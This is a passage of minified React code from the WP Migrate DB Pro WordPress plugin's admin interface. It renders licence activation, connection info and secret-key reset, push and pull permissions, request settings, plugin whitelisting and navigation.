42.84v2.29a24.75 24.75 0 0 1 22.7 24.74 19.91 19.91 0 0 1-.77 5.61 76.42 76.42 0 0 1 83.38 58.9c.26 2 .77 4.08 1 6.12a69.75 69.75 0 0 1 39 47.94c.23 1 .44 2 .62 3.06h-6.24a47.52 47.52 0 0 0-4.53-7.91 53 53 0 0 0-45.9-22.69 35.11 35.11 0 0 0-5.1.51 22.1 22.1 0 0 0-19.38-9.95 24.7 24.7 0 0 0-4.34.51 2.92 2.92 0 0 1-.65.2l-.47.1a3 3 0 0 0-.66.2 9.35 9.35 0 0 0-2.81 1c-.51-1.53-1-2.8-1.53-4.08-1-2-2-4.08-3.06-5.86l-2.29-3.83c-7.14-10.2-18.36-18.36-31.62-23.71a92.31 92.31 0 0 0-33.15-6.12h-4.34a92.83 92.83 0 0 0-15 1.78 90.42 90.42 0 0 0-22.44 8.16 63.09 63.09 0 0 0-13.52 9.18c-3.57-.51-7.14-1-11-1.27h-3.83a75.63 75.63 0 0 0-10.71.76l-7.65 1.53a21.62 21.62 0 0 0-3.82 1 60 60 0 0 0-11.73 4.85c0-.51-.26-1.28-.26-1.79a17 17 0 0 0-.51-3.57 30.21 30.21 0 0 0-1.27-4.59 19.6 19.6 0 0 0-1.79-4.08 33.5 33.5 0 0 0-6.88-8.92 5 5 0 0 0-.57-.49l-.39-.29Zm61.1-25.23c0-2.81-2.8-5.35-6.37-5.1-3.32 0-6.12 2.55-6.12 5.36h-4.81V345c-8.67 0-15.55 3.82-15.55 8.67v.76h-8.42c0 2.3 4.33 4.08 10.2 4.85a6.51 6.51 0 0 0-1.78 4.59c0 5.35 6.88 9.94 15.55 9.94V359.3c6.37-.77 11-2.55 11-4.85Zm28.82-31.87 15-28.82c-9.43-4.84-20.91-1.53-25.5 7.65a17.87 17.87 0 0 0-2 7.14l-9.94-9.43c-6.63 6.63-6.63 17.08-.26 23.2a.25.25 0 0 0 .26.26h-9.95c0 3.82 9.95 6.88 22.44 6.88 12.22 0 22-2.92 22.42-6.63h8.18c0-3.82-3.57-6.88-8.16-6.63-4.24 0-7.74 2.68-7.9 6.38h7.9v.25h-7.88v-.25ZM423.3 300.65a17.61 17.61 0 0 0-11.48 4.59c-4.84-8.93-13.51-14.79-23.2-14.79-9.95 0-18.36 6.12-23.46 15.3h-.51c-8.16 0-14.79 7.9-14.79 17.85h92.05c.51-12.75-7.9-23-18.61-23"})),tr||(tr=r.createElement("path",{className:"cls-3",d:"M0 173.91h1.27a65.76 65.76 0 0 1 10.2 1 73.24 73.24 0 0 1 25.25 9.18 68.29 68.29 0 0 1 9.94 6.91 61 61 0 0 1 5.87 5.61 73.31 73.31 0 0 1 16.06 24 71.24 71.24 0 0 1 4.08 12.49 73.55 73.55 0 0 1 1.53 24.74c-.25 2.55-.76 5.35-1.27 7.9a78.54 78.54 0 0 1-3.06 10.2c0 .26-.26.51-.26.77s-.25.76-.25 1c-7.14 17.59-20.4 32.64-38 41.05a52.42 52.42 0 0 1 18.36 21.68 29.81 29.81 0 0 1 2 5.1l3.83-2.3a61.4 61.4 0 0 1 14-5.1 57 57 0 0 1 11.22-1.53 60.79 60.79 0 0 1 58.91 39.53 10.51 10.51 0 0 1 1.78 1 11.32 11.32 0 0 1 2.81 2 6.6 6.6 0 0 1 1.53 1.27 33.39 33.39 0 0 1 6.88 8.93 27.37 27.37 0 0 1 1.79 4.08 30.21 30.21 0 0 1 1.27 4.59c.26 1.27.26 2.29.51 3.57a4.24 4.24 0 0 1 .26 1.78 59.38 59.38 0 0 1 11.73-4.84c1.27-.26 2.55-.77 3.82-1a39.88 39.88 0 0 1 7.65-1.53 70.61 70.61 0 0 1 10.71-.77h3.83a51.2 51.2 0 0 1 11 1.28 83.42 83.42 0 0 1 13.52-9.18 86.54 86.54 0 0 1 22.44-8.16 97.5 97.5 0 0 1 15-1.79h4.34a92.48 92.48 0 0 1 33.15 6.12c13.51 5.36 24.48 13.52 31.62 23.72l2.29 3.82a31.74 31.74 0 0 1 3.06 5.87c.51 1.27 1 2.8 1.54 4.08a12 12 0 0 1 2.8-1 2.55 2.55 0 0 1 .66-.21l.47-.1a3.18 3.18 0 0 0 .66-.2 27.79 27.79 0 0 1 4.33-.51 22.72 22.72 0 0 1 19.38 9.94 35.39 35.39 0 0 1 5.1-.51 52.47 52.47 0 0 1 45.9 22.7 49.63 49.63 0 0 1 4.62 7.9H0V173.91Z"})),ar||(ar=r.createElement("path",{className:"cls-2",d:"M194.31 242.76h29.58c0-11.22-11.73-20.4-26-20.4a29.47 29.47 0 0 0-19.14 6.64c-.76 0-1.53-.25-2.55-.25-9.94 0-17.85 6.37-17.85 14Z"})),nr||(nr=r.createElement("path",{className:"cls-3",d:"M199.92 349.35c-3.32 0-6.12 2.3-6.12 5.1H189v-9.69c-8.67 0-15.55 3.83-15.55 8.67v.77H165c0 2 4.08 3.82 10.2 4.84a7.35 7.35 0 0 0-1.78 4.59c0 5.61 6.88 9.95 15.55 9.95V359c6.38-.76 11-2.55 11-4.84h6.38c-.26-2.55-3.06-4.85-6.38-4.85M100.21 173.4a13.48 13.48 0 0 0 4.34 17.6l1-1.53a14.35 14.35 0 0 0 13.26 8.67v-24.48c4.34-.77 7.4-2.3 7.4-4.08h5.86c0-2.81-2.55-4.85-5.86-4.85s-5.87 2.3-5.87 4.85h-2.29a12.27 12.27 0 0 0-14 0H93.33c-.25 1.53 2.55 3.06 6.89 3.82M196.35 196.61c16.32 0 29.32-4.08 29.32-8.93h10.46c0-4.84-4.59-8.92-10.46-8.92s-10.45 3.82-10.45 8.67h-7.14l18.1-35.19c-12-6.12-26.26-1.79-32.13 9.43a22.53 22.53 0 0 0-2.55 8.93l-11.22-11.73c-8.16 7.65-9.18 20.14-2.55 28.3h-11.22c.26 5.36 13.52 9.44 29.84 9.44M247.35 316c-4.33 0-7.91 3.06-7.91 6.63h16.07c0-3.57-3.57-6.63-8.16-6.63M284.58 236.9a18.72 18.72 0 0 0-4.08 4.84c-6.38 10.2-3.32 24.23 7.14 31.11l1.78-2.8a24.62 24.62 0 0 0 22.7 15v-47.39c9.69-1.27 16.32-4.33 16.32-7.65h9.94c0-4.59-4.33-8.16-9.94-8.16-5.35 0-9.69 3.57-9.95 8.16h-45.64v.26c0 2.55 4.59 5.1 11.73 6.63"})),rr||(rr=r.createElement("path",{className:"cls-3",d:"M249.9 293.76c-9.43-4.84-20.91-1.53-25.5 7.65a19 19 0 0 0-2 7.14l-10-9.43c-6.37 6.88-6.63 17.34-.25 23.2l.25.26h-9.94c0 3.82 9.94 6.88 22.44 6.88s22.44-3.06 22.44-6.88h-12.5ZM342.47 195.59c28.81 0 52-7.14 52.27-15.81h18.62c0-8.67-8.42-15.56-18.62-15.56s-18.62 6.89-18.62 15.56h-14.79v-74.21A40 40 0 0 0 324.61 129l-2.8-4.33c-16.58 10.71-21.68 32.13-11.48 48.19a33.62 33.62 0 0 0 6.12 7.14h-26.26c0 8.42 23.46 15.56 52.27 15.56"})));a.p;var mr=a(79613);const pr=(0,i.Ng)((e=>{var t=(0,Q.yy)("this_url",e),a=(0,mr.K)("license_errors",e),n=e.dbi_api_data;return{settings:e.settings,license_errors:a,DBIAPIData:n,url:t}}),{activateLicense:rn.rS,removeLicense:rn.E5,setLicence:rn.ut,checkLicence:rn.UA,checkLicenceAgain:rn.wc,setLicenceErrors:rn.Wd})((e=>{var t=e.settings,a=t.licence,n=t.masked_licence,i=t.status,l=t.errors,s=t.license_constant,c=e.DBIAPIData.license_errors,o=e.DBIAPIData.licence,d=o.license_ui_status,m=o.licence_status,p=e.highlight,u=e.checkAgain,_=e.checkLicenceAgain,f=e.checkLicence,b=(0,r.useState)(!1),E=(0,y.A)(b,2),w=E[0],A=E[1],k=(0,r.useRef)();(0,r.useEffect)((()=>{n&&!w&&f(rn.nV,!1,"settings"),p&&k.current&&k.current.focus(),u&&_()}),[n,p,u,_,f]);var x=n||a;if(s)return r.createElement("div",{className:"settings-row license-row"},r.createElement("h4",null,(0,v.__)("The license key is currently defined in wp-config.php.","wp-migrate-db")));var N=i&&i.licence_action,S=window.wpmdb_strings.welcome_text.replace("%1$s","https://deliciousbrains.com/wp-migrate-db-pro/doc/quick-start-guide/?utm_campaign=support%2Bdocs&utm_source=MDB%2BPaid&utm_medium=insideplugin").replace("%2$s","https://deliciousbrains.com/wp-migrate-db-pro/videos/?utm_campaign=support%2Bdocs&utm_source=MDB%2BPaid&utm_medium=insideplugin"),T=e=>r.createElement("p",null,(0,h.Ay)((0,v.nv)((0,v.__)('Enter your license key below and activate to enable push, pull, import and backup functionality as well as priority support and software updates.
Your license key can be found in\n \n My Account. If you don\'t have an account yet,\n \n purchase a new license.',"wp-migrate-db"),"https://deliciousbrains.com/my-account/","https://deliciousbrains.com/wp-migrate-db-pro/pricing/"))),P=(0,g.XA)(c),O=null===m?"no-licence":"licence-header",C="subscription_expired"===m?"warning":"danger";return r.createElement("div",{className:"settings-row license-row"},r.createElement("h2",{id:"license-section-title",className:O+" section-title"},(0,v.__)("Your License","wp-migrate-db")),null===m&&r.createElement(T,null),r.createElement(zn.e,{in:!cr()(c)},r.createElement("div",null,P&&P.map((t=>r.createElement(z.A,{type:C,key:Zn()()},r.createElement("span",null,(0,h.Ay)(t),r.createElement(Qn.default,e))))))),l.licence&&r.createElement(z.A,{type:"danger"},l.licence),"first_activation"===d&&r.createElement("div",{id:"welcome-wrap"},r.createElement(dr,{id:"welcome-img"}),r.createElement("div",{className:"welcome-text"},r.createElement("h3",null,window.wpmdb_strings.welcome_title),r.createElement("p",null,(0,h.Ay)(S)))),r.createElement("input",{type:"text",className:"text-black".concat(p?" highlight":""),onChange:t=>{e.setLicence(t.target.value.trim())},value:(0,h.Ay)(x),id:"wpmdb-license-key",readOnly:n&&n.length>0,ref:k,"aria-labelledby":"license-section-title"}),r.createElement("div",{className:"flex-container licence-buttons"},r.createElement(zn.e,{in:null!==n},r.createElement("button",{className:"btn btn-stroke btn-sm",onClick:async()=>{e.removeLicense()}},(0,v.__)("REMOVE","wp-migrate-db"))),r.createElement(zn.e,{in:!n},r.createElement("button",{className:"btn btn-stroke btn-sm",onClick:async()=>{if(!a.length)return k.current.focus(),!1;A(!0),e.activateLicense(a)}},(0,v.__)("ACTIVATE LICENSE","wp-migrate-db"))),N&&r.createElement("div",{className:"relative"},r.createElement(it.xj,{className:"settings-spinner"}))))}));const ur=e=>{var t=e.settings,a=t.key,n=t.status,i=t.errors,l=e.url,c=(0,r.useRef)(),o=(0,r.useState)(!1),d=(0,y.A)(o,2),m=d[0],p=d[1];return(0,r.useEffect)((()=>{var e=e=>{if("api-key"!==e.target.id)return!1;var t=c.current.value.split("\n");e.clipboardData.setData("text/plain",t.join(" ")),e.preventDefault()};return document.addEventListener("copy",e),()=>{document.removeEventListener("copy",e)}}),[]),r.createElement("div",{className:"flex-col connection-info"},r.createElement("h2",{id:"connection-info-title",className:"section-title"},(0,v.__)("Connection Info","wp-migrate-db")),r.createElement("textarea",{rows:"2",name:"",className:"text-black consolas",value:"".concat(l.includes("https")?l:l.replace("http","https"),"\n").concat(a)||"",readOnly:!0,ref:c,id:"api-key","aria-labelledby":"connection-info-title"}),r.createElement("div",{className:"flex-container"},r.createElement("button",{className:"btn btn-stroke btn-sm".concat(m?" copied":""),onClick:e=>{c.current.select(),c.current.focus(),document.execCommand("copy"),p(!0),setTimeout((()=>{p(!1)}),1500)}},m?r.createElement(r.Fragment,null,r.createElement(O,{className:"styled-check"}),"\xa0\xa0\xa0",r.createElement("span",null,(0,v.__)("COPIED","wp-migrate-db"))):r.createElement("span",null,(0,v.__)("COPY TO CLIPBOARD","wp-migrate-db"))),r.createElement("button",{className:"btn btn-stroke btn-sm",onClick:()=>{e.resetAPIKey()}},(0,v.__)("RESET SECRET KEY","wp-migrate-db")),r.createElement("div",{className:"relative"},n.reset_api_key&&"errored"!==n.reset_api_key&&r.createElement(it.xj,{className:"settings-spinner"})),r.createElement(zn.e,{in:"errored"===n.reset_api_key},r.createElement(Gn.Jn,(0,s.A)({error:i.reset_api_key},e)))))};var _r=a(20921),gr=a(54394);const fr=(0,a(96260).A)({overrides:{MuiSlider:{root:{color:wa.e8,height:8},thumb:{height:18,width:18,marginTop:-8,marginLeft:0},active:{},track:{height:4,borderRadius:2},rail:{height:4,borderRadius:2}}}});const br=e=>{var t=(0,i.d4)((e=>e.settings)),a=t.status,n=t.errors,l=e.settingsKey,c=e.formattedSize,o=e.prefix,d=e.sliderOpts,m=e.callback,p=e.title,u=(0,r.useState)(c),_=(0,y.A)(u,2),g=_[0],f=_[1],b=c,h=(0,r.useState)(),v=(0,y.A)(h,2),E=v[0],w=v[1],A=(0,r.useCallback)((e=>{null!==e&&w(e.getBoundingClientRect())}),[]),k="slider-".concat(l);return r.createElement(r.Fragment,null,r.createElement("div",{className:"slider-wrap ".concat(e.className?e.className:"")},r.createElement("div",{className:"grid-container slider-header"},r.createElement("h3",{className:"slider-title",id:k},p),r.createElement("div",{ref:A,className:"slider-details"},g," ",o,r.createElement("div",{className:"relative"},r.createElement(zn.e,{in:"success"===a[l]},r.createElement(Gn.oA,(0,s.A)({locationInfo:E,classNames:"toggle-success"},e))),!0===a[l]&&r.createElement(it.xj,{className:"settings-spinner"}),r.createElement(zn.e,{in:"errored"===a[l]},r.createElement(Gn.Jn,(0,s.A)({error:n[l],locationInfo:E,classNames:"toggle-error"},e)))))),r.createElement(_r.A,{theme:fr},r.createElement(gr.A,{step:d.step,min:d.min,value:g,max:d.max,valueLabelDisplay:"off",disabled:!0===a[l],onChange:(e,t)=>{f(t)},onBlur:()=>{g!==b&&m(g)},onMouseUp:()=>{g!==b&&m(g)},"aria-labelledby":k}))))};var hr=a(23617),vr=a(80506);const Er=(0,i.Ng)((e=>{var t=(0,Z.k)("whitelist_plugins",e);return{settings:e.settings,whitelist_plugins:t}}),{updateSetting:ir.cD,saveWhitelistPlugins:function(){return async(e,t)=>{var a="save-whitelist-plugins",n=(0,Z.k)("whitelist_plugins",t());e((0,ir.m_)(a,!0)),e((0,ir.jd)(a));var r=await(0,g.ty)("/whitelist-plugins",{whitelist_plugins:n});if(!r.success)return e((0,ir.Yt)(a,r));e((0,ir.m_)(a,"success")),setTimeout((()=>{e((0,ir.m_)(a,!1))}),1500)}}})((e=>{var t=e.settings,a=t.plugins,n=t.status,i=t.errors,l=e.whitelist_plugins,c=(0,r.useState)(),o=(0,y.A)(c,2),d=o[0],m=o[1],p=(0,r.useCallback)((e=>{null!==e&&m(e.getBoundingClientRect())}),[]),u=e=>Object.entries(e).map((e=>(0,y.A)(e,1)[0])),_=t=>{e.updateSetting("whitelist_plugins",t),e.saveWhitelistPlugins()};function f(e){var t=(0,g.mx)(l,e.target.value);_(t)}return r.createElement("div",{className:"compatibility-mode-block"},r.createElement("div",{className:"flex-container"},r.createElement("h3",{className:"title",ref:p},(0,v.__)("Load Select Plugins for Migration Requests","wp-migrate-db")),r.createElement("div",{className:"relative"},!0===n["save-whitelist-plugins"]&&r.createElement(it.xj,{className:"settings-spinner"}))),r.createElement(zn.e,{in:"success"===n["save-whitelist-plugins"]},r.createElement(Gn.oA,(0,s.A)({locationInfo:d,classNames:"toggle-success"},e))),r.createElement(zn.e,{in:"errored"===n["save-whitelist-plugins"]},r.createElement(Gn.Jn,(0,s.A)({error:i["save-whitelist-plugins"],locationInfo:d,classNames:"toggle-error"},e))),r.createElement("span",null,(0,v.__)("By default, plugins are not loaded for migration requests. This enhances performance and reduces the likelihood of a third-party plugin interfering with migrations.","wp-migrate-db"),r.createElement("br",null),r.createElement("br",null),(0,v.__)("To load certain plugins for migration requests, select the plugins below.","wp-migrate-db"),r.createElement("a",{href:"https://deliciousbrains.com/wp-migrate-db-pro/doc/compatibility-mode/",target:"_blank",rel:"noopener noreferrer"}," "+(0,v.__)("More Details \u2192","wp-migrate-db"))),r.createElement(hr.A,{id:"compatibility-multiselect",options:u(a),iterator:()=>Object.entries(a).map((e=>{var t=(0,y.A)(e,2),a=t[0],n=t[1];return r.createElement("li",{key:a},r.createElement("input",{id:"checkbox-".concat(a),type:"checkbox",value:a,onChange:f,checked:l.includes(a)}),r.createElement("label",{htmlFor:"checkbox-".concat(a),key:Zn()()},n[0].name))})),className:"wpmdb-form compat-plugin-list",visible:!0,updateSelected:_,selectInverse:()=>{var e=l,t=u(a);return(0,vr.A)((e=>{_(e)}),t,e)}}))}));var wr=a(17780);const yr=e=>{var t=e.firewallPlugins,a=Object.values(t)[0];return r.createElement(z.A,{type:"warning"},(0,h.Ay)((0,v.nv)((0,v.__)("%s includes a web application firewall that is known to cause issues with Push migrations. Consider using a Pull migration from this site for better results.","wp-migrate-db"),a[0].name))," ",r.createElement(wr.A,{link:"https://deliciousbrains.com/wp-migrate-db-pro/doc/firewall-plugins/",content:(0,v.__)("More About Firewall Compatibility","wp-migrate-db"),utmContent:"settings-firewall-warning",utmCampaign:"wp-migrate-documentation",hasArrow:!0}))};const Ar=(0,i.Ng)((e=>{var t=(0,Q.yy)("connection_info",e),a=(0,Z.k)("license_errors",e),n=(0,Q.yy)("firewall_plugins",e);return{settings:e.settings,license_errors:a,url:t[0],firewall_plugins:n}}),{resetAPIKey:ir.j2,resetError:ir.jd,toggleSetting:ir.vs,disableSSL:ir.LC,setMaxRequest:ir.cF,setDelayBetweenRequests:ir.Ur})((e=>{var t=e.settings,a=t.allow_push,n=t.allow_pull,i=t.verify_ssl,l=t.delay_between_requests,c=t.beta_optin,o=t.allow_tracking,d=t.high_performance_transfers;return r.createElement("div",{className:"wpmdb-settings"},r.createElement("div",{className:"wpmdb-settings-page"},r.createElement("div",{className:"settings-row flex"},r.createElement(ur,e),r.createElement("div",{className:"flex-col migration-permissions"},r.createElement("h2",{className:"section-title"},(0,v.__)("Permissions","wp-migrate-db")),r.createElement(lr,(0,s.A)({value:n,settingsKey:"allow_pull",settingName:"Pull"},e),(0,v.__)("Process requests to pull data from this install, copying it elsewhere","wp-migrate-db")),r.createElement(lr,(0,s.A)({value:a,settingsKey:"allow_push",settingName:"Push"},e),(0,v.__)("Process requests to push data to this install, overwriting its data","wp-migrate-db")),a&&Object.keys(e.firewall_plugins).length>0&&r.createElement(yr,{firewallPlugins:e.firewall_plugins}))),r.createElement(r.Suspense,{fallback:r.createElement("div",null,"Loading...")},r.createElement(pr,(0,s.A)({},e,{highlight:"/settings/enter"===e.location.pathname,checkAgain:"/settings/check-again"===e.location.pathname}))),r.createElement("div",{className:"settings-row request-settings"},r.createElement("h2",{className:"section-title"},(0,v.__)("Request Settings","wp-migrate-db")),r.createElement("div",null,r.createElement(lr,(0,s.A)({value:i,settingsKey:"verify_ssl",spinnerStyle:" certificate-validation",settingName:r.createElement("span",{className:"has-tooltip"},(0,v.__)("Certificate Verification","wp-migrate-db")," ",r.createElement(it.Hg,{"data-tip":!0,"data-for":"action-tip"}))},e),(0,v.__)("Verify the authenticity of the remote server\u2019s TLS certificate","wp-migrate-db")),r.createElement(br,(0,s.A)({},e,{settingsKey:"delay_between_requests",formattedSize:l,prefix:"s",sliderOpts:{step:1,min:0,max:10},callback:e.setDelayBetweenRequests,title:r.createElement("span",{className:"has-tooltip"},(0,v.__)("Delay Between Requests","wp-migrate-db"),r.createElement(it.Hg,{"data-tip":!0,"data-for":"delay-between-requests-tip"})),className:"delay-between-requests"})))),r.createElement("div",{className:"settings-row advanced-settings"},r.createElement("h2",{className:"section-title"},(0,v.__)("Advanced Settings","wp-migrate-db")),r.createElement(lr,(0,s.A)({value:c,settingsKey:"beta_optin",settingName:"Beta Version Updates",callBack:"beta"},e),(0,v.__)("When a beta version of WP Migrate is available, show a\n WordPress update notice and allow updating to the beta like any\n other plugin update.","wp-migrate-db")),r.createElement(lr,(0,s.A)({value:o,settingsKey:"allow_tracking",spinnerStyle:" securely-share-data",settingName:r.createElement("span",{className:"has-tooltip"},(0,v.__)("Securely Share Data","wp-migrate-db"),r.createElement(it.Hg,{"data-tip":!0,"data-for":"allow-tracking-tip"}))},e),(0,v.__)("Help us continue to make WP Migrate better by securely sharing usage data with us.","wp-migrate-db")),r.createElement(Er,null)),r.createElement(dt.A,{effect:"solid",place:"right",type:"light",delayUpdate:500,border:!0,className:"action-tooltip",id:"action-tip"},(0,h.Ay)((0,v.__)("We disable SSL verification by default because a lot of people's\n environments are not setup for it to work. For example, with XAMPP,\n you have to manually enable OpenSSL by editing the php.ini. Without\n SSL verification, an HTTPS connection is vulnerable to a\n man-in-the-middle attack, so we do recommend you configure your\n environment and enable this.","wp-migrate-db"))),!d&&r.createElement(r.Fragment,null,r.createElement(dt.A,{effect:"solid",place:"right",type:"light",delayUpdate:500,border:!0,className:"action-tooltip",id:"max-request-tip"},(0,v.__)("We've detected that your server supports requests up to 25 MB, but\n it's possible that your server has limitations that we could not\n detect. To be on the safe side, we set the default to 1 MB, but you\n can try throttling it up to get better performance. If you're getting\n a 413 error or having trouble with time outs, try throttling this\n setting down.","wp-migrate-db")),r.createElement(dt.A,{effect:"solid",place:"right",type:"light",delayUpdate:500,border:!0,className:"action-tooltip",id:"delay-between-requests-tip"},(0,v.__)("Some servers have rate limits which the plugin can hit when performing\n migrations. If you're experiencing migration failures due to server\n rate limits, you should set this to one or more seconds to alleviate\n the problem.","wp-migrate-db"))),r.createElement(dt.A,{effect:"solid",place:"right",type:"light",delayUpdate:500,border:!0,className:"action-tooltip",id:"allow-tracking-tip"},(0,v.__)("We will use data about your migrations to make better-informed\n decisions about the future of WP Migrate and provide you with\n better support.","wp-migrate-db"))))}));var kr,xr;function Nr(){return Nr=Object.assign?Object.assign.bind():function(e){for(var t=1;tr.createElement("svg",Nr({xmlns:"http://www.w3.org/2000/svg",xmlnsXlink:"http://www.w3.org/1999/xlink",width:24,height:24,viewBox:"0 0 24 24"},e),kr||(kr=r.createElement("defs",null,r.createElement("circle",{id:"license-checked-a",cx:8,cy:8,r:8}))),xr||(xr=r.createElement("g",{fill:"none",fillRule:"evenodd",transform:"translate(4 4)"},r.createElement("mask",{id:"license-checked-b",fill:"#fff"},r.createElement("use",{xlinkHref:"#license-checked-a"})),r.createElement("use",{fill:"#52AA59",xlinkHref:"#license-checked-a"}),r.createElement("path",{fill:"#FFF",fillRule:"nonzero",d:"M7.587 11.338a1.01 1.01 0 0 1-1.433 0l-2.22-2.234a1.024 1.024 0 0 1 0-1.442 1.01 1.01 0 0 1 1.432 0L6.69 8.993c.1.1.262.1.362 0l3.583-3.604a1.01 1.01 0 0 1 1.433 0 1.023 1.023 0 0 1 0 1.442l-4.48 4.507Z",mask:"url(#license-checked-b)"}))));a.p;var Tr=a(81731),Pr=a(51006),Or=["license_constant"],Cr=["masked_licence","license_constant"],Rr=e=>{e.license_constant;var t=(0,A.A)(e,Or);if(!t.api_data)return null;var a=t.api_data,n=a.license_name,i=a.display_name,l=a.user_email;return r.createElement("div",{className:"license-block active-license"},r.createElement("p",{className:"license-level text-primary"},r.createElement("a",{href:"https://deliciousbrains.com/my-account",target:"_blank",rel:"noopener noreferrer",className:"license-status"},n&&r.createElement(r.Fragment,null,r.createElement(Sr,{className:"icon-24 license-icon"}),r.createElement("span",{className:"license-label"},(0,h.Ay)(n)," ",(0,v.__)("License","wp-migrate-db"))))),r.createElement("p",{className:"license-info"},i&&l&&r.createElement("span",{className:"user-label"},i," <",l,">")))},Dr=e=>{var t=e.masked_licence,a=e.license_constant,n=(0,A.A)(e,Cr);if(!n.api_data)return null;var i=n.licence_status,l=n.api_data,s=l.display_name,c=l.user_email,o="subscription_cancelled"===i,d="licence_not_found"===i,m="activation_deactivated"===i;if(null===i&&(i="unlicensed"),"subscription_expired"===n.licence_status)return r.createElement("div",{className:"license-block"},r.createElement("div",{className:"license-expired"},r.createElement("p",{className:"license-status text-brand-dark"},r.createElement(Tr.h,{className:"license-icon"})," ",r.createElement("span",null,(0,v.__)("License Expired","wp-migrate-db"))),r.createElement("p",{className:"license-info"},r.createElement("span",{className:"user-label"},s," <",c,">"))),r.createElement("div",null,r.createElement("a",{href:"https://deliciousbrains.com/my-account/licenses/",target:"_blank",rel:"noopener noreferrer",className:"btn btn-sm"},(0,v.__)("Renew Now","wp-migrate-db"))));if("active_licence"===i)return r.createElement(Rr,n);var p={subscription_cancelled:{tag:"Licence Cancelled",btn_text:"REPLACE LICENSE"},licence_not_found:{tag:"Licence Not Found",btn_text:"REPLACE LICENSE"},activation_deactivated:{tag:"Licence Inactive",btn_text:"REACTIVATE LICENSE"},unlicensed:{tag:"Unlicensed",btn_text:"ACTIVATE LICENSE"}};if(!p[i])return null;var u=p[i].hasOwnProperty("tag")?p[i].tag:"",_=p[i].hasOwnProperty("btn_text")?p[i].btn_text:"";return!t&&!a||o||d||m?r.createElement("div",{className:"license-block"},r.createElement("div",null,r.createElement("p",{className:"license-status text-brand-dark"},r.createElement(Tr.h,{className:"license-icon"})," ",r.createElement("span",null,u))),r.createElement("div",null,!m&&r.createElement("a",{href:"#settings/enter",className:"btn btn-sm"},_),m&&r.createElement(Pr.A,{className:"btn btn-sm",btnText:_}))):null};const Ir=(0,o.y)((0,i.Ng)((e=>{var t=(0,Z.k)("licence",e),a=(0,Z.k)("masked_licence",e),n=(0,Z.k)("license_constant",e),r=(0,mr.K)("api_data",e);return{license:t,masked_licence:a,license_constant:n,licence_status:(0,mr.K)("licence",e).licence_status,api_data:r}}),{})((e=>{var t=e.licence_status;return r.createElement("div",{className:"flex-container license-message".concat("active_licence"===t?" flex-grow":"")},r.createElement(Dr,e))})));var Mr,Lr=b.Ay.div(Mr||(Mr=(0,f.A)(["\n a,\n button {\n &:hover {\n cursor: pointer;\n }\n }\n"]))),Fr=a(55208);const Br=(0,o.y)((e=>{var t=e.location,a=e.isPro,n=(0,i.wA)(),l=function(e){return!(arguments.length>1&&void 0!==arguments[1])||arguments[1]?t.pathname===e?"nav-item-active":"":-1!==t.pathname.indexOf("unsaved")&&"/migrate"===e||-1!==t.pathname.indexOf(e)?"nav-item-active":""};return r.createElement("ul",{className:"nav bg-white flex-container"},r.createElement("li",{className:l("/")},r.createElement(c.k2,{to:"/",replace:!0,exact:!0,strict:!0,onClick:()=>{n((0,W.$V)())}},(0,v.__)("Profiles","wp-migrate-db"))),r.createElement("li",{className:l("/migrate",!1)},r.createElement(c.k2,{to:"/migrate",replace:!0,onClick:()=>{n((0,W.$V)())}},(0,v.__)("Migrate","wp-migrate-db"))),a&&r.createElement("li",{className:l("/backups")},r.createElement(c.k2,{to:"/backups",replace:!0,exact:!0},(0,v.__)("Backups","wp-migrate-db"))),r.createElement("li",{className:l("/settings",!1)},r.createElement(c.k2,{to:"/settings",replace:!0},(0,v.__)("Settings","wp-migrate-db"))),r.createElement("li",{className:l("/addons")},r.createElement(c.k2,{to:"/addons",replace:!0,exact:!0},(0,v.__)("Upgrades","wp-migrate-db"))),r.createElement("li",{className:l("/help")},r.createElement(c.k2,{to:"/help",replace:!0,exact:!0},(0,v.__)("Help","wp-migrate-db"))),r.createElement("li",{className:l("/whats-new")},r.createElement(c.k2,{to:"/whats-new",replace:!0,exact:!0},(0,v.__)("What's New","wp-migrate-db"))))}));const Ur=e=>0<=navigator.userAgent.indexOf("MSIE")||0<=navigator.userAgent.indexOf("Trident")?r.createElement(z.A,{type:"danger"},(0,h.Ay)((0,v.__)("Internet Explorer Not Supported — Less than 2% of our customers use IE, so we've decided not to spend time supporting it. We ask that you use Firefox or a Webkit-based browser like Chrome or Safari instead. If this is a problem for you, please let us know.","wp-migrate-db"))):0<=navigator.userAgent.indexOf("Edge")?r.createElement(z.A,{type:"danger"},(0,h.Ay)((0,v.__)("Microsoft Edge Not Supported — Less than 2% of our customers use Microsoft Edge, so we've decided not to spend time supporting it. We ask that you use Firefox or a Webkit-based browser like Chrome or Safari instead. If this is a problem for you, please let us know.","wp-migrate-db"))):null;var zr=a(24819),Gr=a(98791),jr=e=>e.notifications;function Vr(e,t){return(0,Q.JU)(jr,"notifications",e,t)}var Hr=(0,r.lazy)((()=>(0,g.PQ)()?Promise.resolve().then(a.bind(a,35305)):Promise.resolve(null)));const Wr=(0,o.y)((0,i.Ng)((e=>({notifications:e.notifications,errors:Vr("errors",e),status:Vr("status",e),settingsStatus:(0,Z.k)("status",e),dbi_api_data:e.dbi_api_data})),{handleNoticeLink:Gr.P_,toggleSetting:ir.vs,setAction:G.b})((e=>{var t=[],a=e.status,n=e.errors,i=e.notifications,l=e.dbi_api_data,s={settings:["licence_expired","wpmdb_invalid_license"],addons:["licence_expired","wpmdb_invalid_license"],help:["wpmdb_invalid_license"]},c=e.location.pathname.replace("/","");return Object.entries(i.messages).forEach((o=>{var d=(0,y.A)(o,2),m=d[0],p=d[1],u=!1;if((0,zr.includes)(i.hidden,m)&&(u=!0),Object.entries(s).forEach((t=>{var a=(0,y.A)(t,2),n=a[0],r=a[1];(0,zr.includes)(r,m)&&e.location.pathname.includes(n)&&(u=!0)})),u)return null;if(l&&l.dbi_down_status&&"wpmdb_invalid_license"===m)return null;var _=p.message,f=null;p.link&&(f=((t,a)=>{var n=[],i=Object.entries(t),l=0;return i.forEach((s=>{var c,o,d=(0,y.A)(s,2),m=d[0],p=d[1];"dismiss"===m&&(c=(0,v.__)("Dismiss","wp-migrate-db")),"reminder"===m&&(c=(0,v.__)("Remind Me Later","wp-migrate-db"),o=t.reminder_time),n.push(r.createElement(r.Fragment,null,r.createElement("button",{className:"link",onClick:()=>{e.handleNoticeLink(p,m,o,a)}},c),0===l&&i.length>1?" | ":"")),l++})),r.createElement(r.Fragment,null,n.map(((e,t)=>r.createElement(r.Fragment,{key:t},e))))})(p.link,m)),p.custom_link&&"usage_tracking"===p.custom_link&&(f=(e=>{var t=e.settingsStatus,a=async t=>{await e.toggleSetting("allow_tracking",t,"allow_tracking")};return 